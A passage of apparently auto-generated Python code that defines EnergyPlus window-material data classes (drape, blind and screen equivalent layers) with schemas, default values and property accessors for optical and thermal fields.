visible reflectance at normal incidence average over the | visible spectrum range of solar radiation. Assumed to be the same for front | and back sides. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Drape Beam-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `drape_beamdiffuse_visible_reflectance` or None if not set """ return self["Drape Beam-Diffuse Visible Reflectance"] @drape_beamdiffuse_visible_reflectance.setter def drape_beamdiffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Drape Beam-Diffuse Visible Reflectance` """ self["Drape Beam-Diffuse Visible Reflectance"] = value @property def drape_material_infrared_transmittance(self): """field `Drape Material Infrared Transmittance` | Long-wave transmittance of the drape fabric at zero openness fraction. | Assumed same for front and back sides. | Units: dimensionless | Default value: 0.05 | value < 1.0 Args: value (float): value for IDD Field `Drape Material Infrared Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `drape_material_infrared_transmittance` or None if not set """ return self["Drape Material Infrared Transmittance"] @drape_material_infrared_transmittance.setter def drape_material_infrared_transmittance(self, value=0.05): """Corresponds to IDD field `Drape Material Infrared Transmittance`""" self["Drape Material Infrared Transmittance"] = value @property def front_side_drape_material_infrared_emissivity(self): """field `Front Side Drape Material Infrared Emissivity` | Front side long-wave emissivity of the drape fabric at zero shade openness. | Openness fraction specified above is used to calculate the effective | emissivity value. | Units: dimensionless | Default value: 0.87 | value < 1.0 Args: value (float): value for IDD Field `Front Side Drape Material Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_drape_material_infrared_emissivity` or None if not set """ return self["Front Side Drape Material Infrared Emissivity"] @front_side_drape_material_infrared_emissivity.setter def front_side_drape_material_infrared_emissivity(self, value=0.87): """Corresponds to IDD field `Front Side Drape Material Infrared Emissivity`""" self["Front Side Drape Material Infrared Emissivity"] = value @property def back_side_drape_material_infrared_emissivity(self): """field `Back Side Drape Material Infrared Emissivity` | Back side long-wave emissivity of the drape fabric at zero shade openness. | Openness fraction specified above is used to calculate the effective | emissivity value. | Units: dimensionless | Default value: 0.87 | value < 1.0 Args: value (float): value for IDD Field `Back Side Drape Material Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_drape_material_infrared_emissivity` or None if not set """ return self["Back Side Drape Material Infrared Emissivity"] @back_side_drape_material_infrared_emissivity.setter def back_side_drape_material_infrared_emissivity(self, value=0.87): """Corresponds to IDD field `Back Side Drape Material Infrared Emissivity`""" self["Back Side Drape Material Infrared Emissivity"] = value @property def width_of_pleated_fabric(self): """field `Width of Pleated Fabric` | Width of the pleated section of the draped fabric. If the drape fabric is | unpleated or is flat, then the pleated section width is set to zero. | Units: m | IP-Units: in Args: value (float): value for IDD Field `Width of Pleated Fabric` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `width_of_pleated_fabric` or None if not set """ return self["Width of Pleated Fabric"] @width_of_pleated_fabric.setter def width_of_pleated_fabric(self, value=None): """Corresponds to IDD field `Width of Pleated Fabric`""" self["Width of Pleated Fabric"] = value @property def length_of_pleated_fabric(self): """field `Length of Pleated Fabric` | Length of the pleated section of the draped fabric. If the drape fabric is | unpleated or is flat, then the pleated section length is set to zero. | Units: m | IP-Units: in Args: value (float): value for IDD Field `Length of Pleated Fabric` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `length_of_pleated_fabric` or None if not set """ return self["Length of Pleated Fabric"] @length_of_pleated_fabric.setter def length_of_pleated_fabric(self, value=None): """Corresponds to IDD field `Length of Pleated Fabric`""" self["Length of Pleated Fabric"] = value class WindowMaterialBlindEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Blind:EquivalentLayer` Window equivalent layer blind slat optical and thermal properties. The model assumes that slats are thin and flat, applies correction empirical correlation to account for curvature effect. Slats are assumed to transmit and reflect diffusely. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'slat orientation', {'name': u'Slat Orientation', 'pyname': u'slat_orientation', 'default': u'Horizontal', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Horizontal', u'Vertical'], 'autocalculatable': False, 'type': 'alpha'}), (u'slat width', {'name': u'Slat Width', 'pyname': u'slat_width', 'minimum>': 0.0, 'maximum': 0.025, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat separation', {'name': u'Slat Separation', 'pyname': u'slat_separation', 'minimum>': 0.0, 'maximum': 0.025, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat crown', {'name': u'Slat Crown', 'pyname': u'slat_crown', 'default': 0.0015, 'maximum': 0.00156, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat angle', {'name': u'Slat Angle', 'pyname': u'slat_angle', 'default': 45.0, 'maximum': 180.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'deg'}), (u'front side slat beam-diffuse solar transmittance', {'name': u'Front Side Slat Beam-Diffuse Solar Transmittance', 'pyname': u'front_side_slat_beamdiffuse_solar_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat beam-diffuse solar transmittance', {'name': u'Back Side Slat Beam-Diffuse Solar Transmittance', 'pyname': u'back_side_slat_beamdiffuse_solar_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side slat beam-diffuse solar reflectance', {'name': u'Front Side Slat Beam-Diffuse Solar Reflectance', 'pyname': u'front_side_slat_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat beam-diffuse solar reflectance', {'name': u'Back Side Slat Beam-Diffuse Solar Reflectance', 'pyname': u'back_side_slat_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side slat beam-diffuse visible transmittance', {'name': u'Front Side Slat Beam-Diffuse Visible Transmittance', 'pyname': u'front_side_slat_beamdiffuse_visible_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat beam-diffuse visible transmittance', {'name': u'Back Side Slat Beam-Diffuse Visible Transmittance', 'pyname': u'back_side_slat_beamdiffuse_visible_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side slat beam-diffuse visible reflectance', {'name': u'Front Side Slat Beam-Diffuse Visible Reflectance', 'pyname': u'front_side_slat_beamdiffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat beam-diffuse visible reflectance', {'name': u'Back Side Slat Beam-Diffuse Visible Reflectance', 'pyname': u'back_side_slat_beamdiffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'slat diffuse-diffuse solar transmittance', {'name': u'Slat Diffuse-Diffuse Solar Transmittance', 'pyname': u'slat_diffusediffuse_solar_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'front side slat diffuse-diffuse solar reflectance', {'name': u'Front Side Slat Diffuse-Diffuse Solar Reflectance', 'pyname': u'front_side_slat_diffusediffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat diffuse-diffuse solar reflectance', {'name': u'Back Side Slat Diffuse-Diffuse Solar Reflectance', 'pyname': u'back_side_slat_diffusediffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'slat diffuse-diffuse visible transmittance', {'name': u'Slat Diffuse-Diffuse Visible Transmittance', 'pyname': u'slat_diffusediffuse_visible_transmittance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat diffuse-diffuse visible reflectance', {'name': u'Front Side Slat Diffuse-Diffuse Visible Reflectance', 'pyname': u'front_side_slat_diffusediffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat diffuse-diffuse visible reflectance', {'name': u'Back Side Slat Diffuse-Diffuse Visible Reflectance', 'pyname': u'back_side_slat_diffusediffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'slat infrared transmittance', {'name': u'Slat Infrared Transmittance', 'pyname': u'slat_infrared_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat infrared emissivity', {'name': u'Front Side Slat Infrared Emissivity', 'pyname': u'front_side_slat_infrared_emissivity', 'default': 0.9, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'back side slat infrared emissivity', {'name': u'Back Side Slat Infrared Emissivity', 'pyname': u'back_side_slat_infrared_emissivity', 'default': 0.9, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'slat angle control', {'name': u'Slat Angle Control', 'pyname': u'slat_angle_control', 'default': u'FixedSlatAngle', 'required-field': False, 'autosizable': False, 'accepted-values': [u'FixedSlatAngle', u'MaximizeSolar', u'BlockBeamSolar'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 10, 'name': u'WindowMaterial:Blind:EquivalentLayer', 'pyname': u'WindowMaterialBlindEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def slat_orientation(self): """field `Slat Orientation` | Default value: Horizontal Args: value (str): value for IDD Field `Slat Orientation` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `slat_orientation` or None if not set """ return self["Slat Orientation"] @slat_orientation.setter def slat_orientation(self, value="Horizontal"): """Corresponds to IDD field `Slat Orientation`""" self["Slat Orientation"] = value @property def slat_width(self): """field `Slat Width` | Units: m | IP-Units: in | value <= 0.025 Args: value (float): value for IDD Field `Slat Width` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_width` or None if not set """ return self["Slat Width"] @slat_width.setter def slat_width(self, value=None): """Corresponds to IDD field `Slat Width`""" self["Slat Width"] = value @property def slat_separation(self): """field `Slat Separation` | Distance between adjacent slat faces | Units: m | IP-Units: in | value <= 0.025 Args: value (float): value for IDD Field `Slat Separation` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_separation` or None if not set """ return self["Slat Separation"] @slat_separation.setter def slat_separation(self, value=None): """Corresponds to IDD field `Slat Separation`""" self["Slat Separation"] = value @property def slat_crown(self): """field `Slat Crown` | Perpendicular length between the cord and the curve. | Slat is assumed to be rectangular in cross section | and flat. Crown=0.0625x"Slat width" | Units: m | IP-Units: in | Default value: 0.0015 | value <= 0.00156 Args: value (float): value for IDD Field `Slat Crown` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_crown` or None if not set """ return self["Slat Crown"] @slat_crown.setter def slat_crown(self, value=0.0015): """Corresponds to IDD field `Slat Crown`""" self["Slat Crown"] = value @property def slat_angle(self): """field `Slat Angle` | Units: deg | Default value: 45.0 | value <= 180.0 Args: value (float): value for IDD Field `Slat Angle` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_angle` or None if not set """ return self["Slat Angle"] @slat_angle.setter def slat_angle(self, value=45.0): """Corresponds to IDD field `Slat Angle`""" self["Slat Angle"] = value @property def front_side_slat_beamdiffuse_solar_transmittance(self): """field `Front Side Slat Beam-Diffuse Solar Transmittance` | The front side beam-diffuse solar transmittance of the slat at normal | incidence averaged over the entire spectrum of solar radiation. | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beamdiffuse_solar_transmittance` or None if not set """ return self["Front Side Slat Beam-Diffuse Solar Transmittance"] @front_side_slat_beamdiffuse_solar_transmittance.setter def front_side_slat_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Slat Beam-Diffuse Solar Transmittance` """ self["Front Side Slat Beam-Diffuse Solar Transmittance"] = value @property def back_side_slat_beamdiffuse_solar_transmittance(self): """field `Back Side Slat Beam-Diffuse Solar Transmittance` | The back side beam-diffuse solar transmittance of the slat at normal | incidence averaged over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beamdiffuse_solar_transmittance` or None if not set """ return self["Back Side Slat Beam-Diffuse Solar Transmittance"] @back_side_slat_beamdiffuse_solar_transmittance.setter def back_side_slat_beamdiffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Slat Beam-Diffuse Solar Transmittance` """ self["Back Side Slat Beam-Diffuse Solar Transmittance"] = value @property def front_side_slat_beamdiffuse_solar_reflectance(self): """field `Front Side Slat Beam-Diffuse Solar Reflectance` | The front side beam-diffuse solar reflectance of the slat at normal | incidence averaged over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beamdiffuse_solar_reflectance` or None if not set """ return self["Front Side Slat Beam-Diffuse Solar Reflectance"] @front_side_slat_beamdiffuse_solar_reflectance.setter def front_side_slat_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Slat Beam-Diffuse Solar Reflectance` """ self["Front Side Slat Beam-Diffuse Solar Reflectance"] = value @property def back_side_slat_beamdiffuse_solar_reflectance(self): """field `Back Side Slat Beam-Diffuse Solar Reflectance` | The back side beam-diffuse solar reflectance of the slat at normal | incidence averaged over the entire spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beamdiffuse_solar_reflectance` or None if not set """ return self["Back Side Slat Beam-Diffuse Solar Reflectance"] @back_side_slat_beamdiffuse_solar_reflectance.setter def back_side_slat_beamdiffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Slat Beam-Diffuse Solar Reflectance` """ self["Back Side Slat Beam-Diffuse Solar Reflectance"] = value @property def front_side_slat_beamdiffuse_visible_transmittance(self): """field `Front Side Slat Beam-Diffuse Visible Transmittance` | The front side beam-diffuse visible transmittance of the slat | at normal incidence averaged over the visible spectrum range | of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam-Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beamdiffuse_visible_transmittance` or None if not set """ return self["Front Side Slat Beam-Diffuse Visible Transmittance"] @front_side_slat_beamdiffuse_visible_transmittance.setter def front_side_slat_beamdiffuse_visible_transmittance(self, value=None): """ Corresponds to IDD field `Front Side Slat Beam-Diffuse Visible Transmittance` """ self["Front Side Slat Beam-Diffuse Visible Transmittance"] = value @property def back_side_slat_beamdiffuse_visible_transmittance(self): """field `Back Side Slat Beam-Diffuse Visible Transmittance` | The back side beam-diffuse visible transmittance of the slat | at normal incidence averaged over the visible spectrum range | of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam-Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beamdiffuse_visible_transmittance` or None if not set """ return self["Back Side Slat Beam-Diffuse Visible Transmittance"] @back_side_slat_beamdiffuse_visible_transmittance.setter def back_side_slat_beamdiffuse_visible_transmittance(self, value=None): """ Corresponds to IDD field `Back Side Slat Beam-Diffuse Visible Transmittance` """ self["Back Side Slat Beam-Diffuse Visible Transmittance"] = value @property def front_side_slat_beamdiffuse_visible_reflectance(self): """field `Front Side Slat Beam-Diffuse Visible Reflectance` | The front side beam-diffuse visible reflectance of the slat | at normal incidence averaged over the visible spectrum range | of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beamdiffuse_visible_reflectance` or None if not set """ return self["Front Side Slat Beam-Diffuse Visible Reflectance"] @front_side_slat_beamdiffuse_visible_reflectance.setter def front_side_slat_beamdiffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Slat Beam-Diffuse Visible Reflectance` """ self["Front Side Slat Beam-Diffuse Visible Reflectance"] = value @property def back_side_slat_beamdiffuse_visible_reflectance(self): """field `Back Side Slat Beam-Diffuse Visible Reflectance` | The back side beam-diffuse visible reflectance of the slat | at normal incidence averaged over the visible spectrum range | of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beamdiffuse_visible_reflectance` or None if not set """ return self["Back Side Slat Beam-Diffuse Visible Reflectance"] @back_side_slat_beamdiffuse_visible_reflectance.setter def back_side_slat_beamdiffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Slat Beam-Diffuse Visible Reflectance` """ self["Back Side Slat Beam-Diffuse Visible Reflectance"] = value @property def slat_diffusediffuse_solar_transmittance(self): """field `Slat Diffuse-Diffuse Solar Transmittance` | The beam-diffuse solar transmittance of the slat averaged | over the entire solar spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Slat Diffuse-Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_diffusediffuse_solar_transmittance` or None if not set """ return self["Slat Diffuse-Diffuse Solar Transmittance"] @slat_diffusediffuse_solar_transmittance.setter def slat_diffusediffuse_solar_transmittance(self, value=None): """ Corresponds to IDD field `Slat Diffuse-Diffuse Solar Transmittance` """ self["Slat Diffuse-Diffuse Solar Transmittance"] = value @property def front_side_slat_diffusediffuse_solar_reflectance(self): """field `Front Side Slat Diffuse-Diffuse Solar Reflectance` | The front side beam-diffuse solar reflectance of the slat | averaged over the entire solar spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Diffuse-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_diffusediffuse_solar_reflectance` or None if not set """ return self["Front Side Slat Diffuse-Diffuse Solar Reflectance"] @front_side_slat_diffusediffuse_solar_reflectance.setter def front_side_slat_diffusediffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Slat Diffuse-Diffuse Solar Reflectance` """ self["Front Side Slat Diffuse-Diffuse Solar Reflectance"] = value @property def back_side_slat_diffusediffuse_solar_reflectance(self): """field `Back Side Slat Diffuse-Diffuse Solar Reflectance` | The back side beam-diffuse solar reflectance of the slat | averaged over the entire solar spectrum of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Diffuse-Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_diffusediffuse_solar_reflectance` or None if not set """ return self["Back Side Slat Diffuse-Diffuse Solar Reflectance"] @back_side_slat_diffusediffuse_solar_reflectance.setter def back_side_slat_diffusediffuse_solar_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Slat Diffuse-Diffuse Solar Reflectance` """ self["Back Side Slat Diffuse-Diffuse Solar Reflectance"] = value @property def slat_diffusediffuse_visible_transmittance(self): """field `Slat Diffuse-Diffuse Visible Transmittance` | The beam-diffuse visible transmittance of the slat averaged | over the visible spectrum range of solar radiation. | value < 1.0 Args: value (float): value for IDD Field `Slat Diffuse-Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_diffusediffuse_visible_transmittance` or None if not set """ return self["Slat Diffuse-Diffuse Visible Transmittance"] @slat_diffusediffuse_visible_transmittance.setter def slat_diffusediffuse_visible_transmittance(self, value=None): """ Corresponds to IDD field `Slat Diffuse-Diffuse Visible Transmittance` """ self["Slat Diffuse-Diffuse Visible Transmittance"] = value @property def front_side_slat_diffusediffuse_visible_reflectance(self): """field `Front Side Slat Diffuse-Diffuse Visible Reflectance` | The front side beam-diffuse visible reflectance of the slat | averaged over the visible spectrum range of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Diffuse-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_diffusediffuse_visible_reflectance` or None if not set """ return self["Front Side Slat Diffuse-Diffuse Visible Reflectance"] @front_side_slat_diffusediffuse_visible_reflectance.setter def front_side_slat_diffusediffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Front Side Slat Diffuse-Diffuse Visible Reflectance` """ self["Front Side Slat Diffuse-Diffuse Visible Reflectance"] = value @property def back_side_slat_diffusediffuse_visible_reflectance(self): """field `Back Side Slat Diffuse-Diffuse Visible Reflectance` | The back side beam-diffuse visible reflectance of the slat | averaged over the visible spectrum range of solar radiation. | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Diffuse-Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_diffusediffuse_visible_reflectance` or None if not set """ return self["Back Side Slat Diffuse-Diffuse Visible Reflectance"] @back_side_slat_diffusediffuse_visible_reflectance.setter def back_side_slat_diffusediffuse_visible_reflectance(self, value=None): """ Corresponds to IDD field `Back Side Slat Diffuse-Diffuse Visible Reflectance` """ self["Back Side Slat Diffuse-Diffuse Visible Reflectance"] = value @property def slat_infrared_transmittance(self): """field `Slat Infrared Transmittance` | Long-wave hemispherical transmittance of the slat material. | Assumed to be the same for both sides of the slat. | value < 1.0 Args: value (float): value for IDD Field `Slat Infrared Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_infrared_transmittance` or None if not set """ return self["Slat Infrared Transmittance"] @slat_infrared_transmittance.setter def slat_infrared_transmittance(self, value=None): """Corresponds to IDD field `Slat Infrared Transmittance`""" self["Slat Infrared Transmittance"] = value @property def front_side_slat_infrared_emissivity(self): """field `Front Side Slat Infrared Emissivity` | Front side long-wave hemispherical emissivity of the slat material. | Units: dimensionless | Default value: 0.9 | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_infrared_emissivity` or None if not set """ return self["Front Side Slat Infrared Emissivity"] @front_side_slat_infrared_emissivity.setter def front_side_slat_infrared_emissivity(self, value=0.9): """Corresponds to IDD field `Front Side Slat Infrared Emissivity`""" self["Front Side Slat Infrared Emissivity"] = value @property def back_side_slat_infrared_emissivity(self): """field `Back Side Slat Infrared Emissivity` | Back side long-wave hemispherical emissivity of the slat material. | Units: dimensionless | Default value: 0.9 | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_infrared_emissivity` or None if not set """ return self["Back Side Slat Infrared Emissivity"] @back_side_slat_infrared_emissivity.setter def back_side_slat_infrared_emissivity(self, value=0.9): """Corresponds to IDD field `Back Side Slat Infrared Emissivity`""" self["Back Side Slat Infrared Emissivity"] = value @property def slat_angle_control(self): """field `Slat Angle Control` | Used only if slat angle control is desired to either maximize solar | gain (MaximizeSolar), maximize visibility while eliminating beam solar | radiation (BlockBeamSolar), or fixed slate angle (FixedSlatAngle). | If FixedSlatAngle is selected, the slat angle entered above is used. | Default value: FixedSlatAngle Args: value (str): value for IDD Field `Slat Angle Control` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `slat_angle_control` or None if not set """ return self["Slat Angle Control"] @slat_angle_control.setter def slat_angle_control(self, value="FixedSlatAngle"): """Corresponds to IDD field `Slat Angle Control`""" self["Slat Angle Control"] = value class WindowMaterialScreenEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Screen:EquivalentLayer` Equivalent layer window screen physical properties. Can only be located on the exterior side of a window construction. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'screen beam-beam solar transmittance', {'name': u'Screen Beam-Beam Solar Transmittance', 'pyname': u'screen_beambeam_solar_transmittance', 'default': 'autocalculate', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': True, 'type': u'real', 'unit': u'dimensionless'}), (u'screen beam-diffuse solar transmittance', {'name': u'Screen Beam-Diffuse Solar Transmittance', 'pyname': u'screen_beamdiffuse_solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen beam-diffuse solar reflectance', {'name': u'Screen Beam-Diffuse Solar Reflectance', 'pyname': u'screen_beamdiffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen beam-beam visible transmittance', {'name': u'Screen Beam-Beam Visible Transmittance', 'pyname': u'screen_beambeam_visible_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen beam-diffuse visible transmittance', {'name': u'Screen Beam-Diffuse Visible Transmittance', 'pyname': u'screen_beamdiffuse_visible_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen beam-diffuse visible reflectance', {'name': u'Screen Beam-Diffuse Visible Reflectance', 'pyname': u'screen_beamdiffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen infrared transmittance', {'name': u'Screen Infrared Transmittance', 'pyname': u'screen_infrared_transmittance', 'default': 0.02, 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'screen infrared emissivity', {'name': u'Screen Infrared Emissivity', 'pyname': u'screen_infrared_emissivity', 'default': 0.93, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'screen wire spacing', {'name': u'Screen Wire Spacing', 'pyname': u'screen_wire_spacing', 'default': 0.025, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'screen wire diameter', {'name': u'Screen Wire Diameter', 'pyname': u'screen_wire_diameter', 'default': 0.005, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 4, 'name': u'WindowMaterial:Screen:EquivalentLayer', 'pyname': u'WindowMaterialScreenEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | Enter a unique name for this window screen material. Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def screen_beambeam_solar_transmittance(self): """field `Screen Beam-Beam Solar Transmittance` | The beam-beam transmittance of the screen material at normal incidence. | This input field is the same as the material openness area fraction | and can be autocalculated from the wire spacing and wire and diameter. | Assumed to be the same for both sides of the screen. | Units: dimensionless | Default value: "autocalculate" | value < 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Screen Beam-Beam Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `screen_beambeam_solar_transmittance` or None if not set """ return self["Screen Beam-Beam Solar Transmittance"] @screen_beambeam_solar_transmittance.setter def screen_beambeam_solar_transmittance(self, value="autocalculate"): """ Corresponds to IDD field `Screen Beam-Beam Solar Transmittance` """ self["Screen Beam-Beam Solar Transmittance"] 